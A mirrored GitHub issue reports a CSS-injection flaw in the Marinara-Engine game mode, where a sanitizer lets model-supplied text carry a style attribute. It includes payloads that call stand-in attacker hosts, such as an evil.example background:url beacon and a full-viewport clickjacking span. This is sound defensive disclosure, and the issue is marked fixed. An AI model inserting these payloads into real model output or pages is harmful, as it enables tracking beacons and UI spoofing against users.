mirror of
https://github.com/Pasta-Devs/Marinara-Engine.git
synced 2026-12-03 19:00:50 +07:00
[GH-ISSUE #2367] [Issue]: Game-mode AnimatedText permits the style attribute and renders raw model choice/map text (CSS exfil + clickjacking) #1167
Labels
No labels
android
bug
bugfix
ci
client
code freeze pause
container
dependencies
docs
documentation
duplicate
enhancement
feature
feature
feature
feature-creep
fixed-in-refactor
fixed-in-staging
good first issue
help wanted
in-pr
in-pr
needs-codeowner-decision
normal-scope
old-codebase
old-codebase
pull-request
qol
question
refactor
regression
revisit later
roadmap
scope-risk
scope-risk
server
server
shared
soup
upstream
windows
No milestone
No project
No assignees
1 participant
Notifications
Due date
No due date set.
Dependencies
No dependencies set.
Reference
Pasta-Devs/Marinara-Engine#1167
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Originally created by @Romuromylus on GitHub (Jun 5, 2026).
Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2367
Originally assigned to: @Romuromylus on GitHub.
Summary
Severity: Medium — XSS-class (CSS injection / exfil / clickjacking).
The game-mode
AnimatedTextcomponent's DOMPurify config permits thestyleattribute, and several call sites feed it raw model content (choicetext, map descriptions) that never passes throughformatNarration's HTML-escaping. So a hostile model/imported[choices: ...]or map description containing an inline<span style=...>renders a live CSS exfil beacon or a full-viewport clickjacking overlay. The sibling narration path (formatNarration) deliberately forbidsstyle— this is the same guard present on one path and missing on another.Expected behavior
AnimatedTextshould not allow content-controlledstyle(it only needsstylefor its own internally-generated per-character wave delay), and raw model strings should be HTML-escaped before reaching it, exactly asformatNarrationdoes.Actual behavior
AnimatedText's DOMPurify allowsstyle(src/features/modes/game/components/AnimatedText.tsx:227-231and:240-243):The stricter sibling forbids it (
src/features/modes/game/lib/game-narration-format.ts:159):Raw call sites feed model content directly, bypassing the
formatNarrationpre-escape:choicecomes straight from the model's[choices:]tag —game-tag-parser.ts:786-795extracts the balanced tag, splits on|, and strips only surrounding quotes (/^["']|["']$/g); no HTML escaping.map.descriptionis model/scene-derived. I verified empirically against the installeddompurify@3.4.3with the exactAnimatedTextconfig:<span style="background:url(https://evil.example/leak.png)">x</span>and<span style="position:fixed;inset:0;width:100vw;height:100vh;background:#000">x</span>both survive unchanged, while<img src=x onerror=alert(1)>is correctly stripped. The same payloads through theformatNarrationclass-only config havestylestripped. Withtauri.conf.jsonsecurity.csp = null, theurl()request fires on render.Impact ceiling is CSS-only (script/event-handlers/
javascript:are stripped by DOMPurify): abackground:url(...)exfil beacon that confirms the content was opened and fires a remote request from a local desktop install, plus aposition:fixedfull-viewport clickjacking / UI-spoof overlay. No arbitrary JS execution.Steps to reproduce
[choices: "<span style=\"position:fixed;inset:0;background:url(https://attacker.example/beacon)\">Run</span>" | "Stay"].Impact area
Environment
330f69a8Logs, screenshots, or video
Static source audit + empirical DOMPurify repro. Sink
AnimatedText.tsx:227-231/:240-243; reference-safe siblinggame-narration-format.ts:159; raw feedersGameChoiceCards.tsx:83,GameGridMap.tsx:89, alsoGameJournal.tsx:409andGameSessionHistory.tsx; choice origingame-tag-parser.ts:786-795. Repro againstdompurify@3.4.3: the twostylepayloads pass through unchanged;<img onerror>is stripped.Regression notes
Found via static audit; not a regression. The web build carries byte-identical permissive config (
packages/client/src/components/game/AnimatedText.tsx:228-229,ALLOWED_ATTR: ["class","style"]) and the identical raw call site (packages/client/src/components/game/GameChoiceCards.tsx:83), and main'sgame-tag-parser.tssplits choices raw the same way. Main does the same unsafe thing, so the refactor neither broke nor dropped a prior guard.Additional context
Drop
stylefromAnimatedText'sALLOWED_ATTR(move the per-character wave delay to aclass/ CSS custom property), matchingformatNarration'sALLOWED_ATTR: ["class"]reference. Alternatively keepstylebut add a DOMPurifyuponSanitizeAttributehook onstylethat forbidsurl(,@import,expression, andposition:fixed. Additionally, pre-escape</>at the raw call sites (GameChoiceCards:83,GameGridMap:89,GameJournal:409,GameSessionHistory) the wayformatNarrationdoes, so model markup renders as text.Template check
@Romuromylus commented on GitHub (Jun 6, 2026):
Fixed by #2425, merged into
refactor.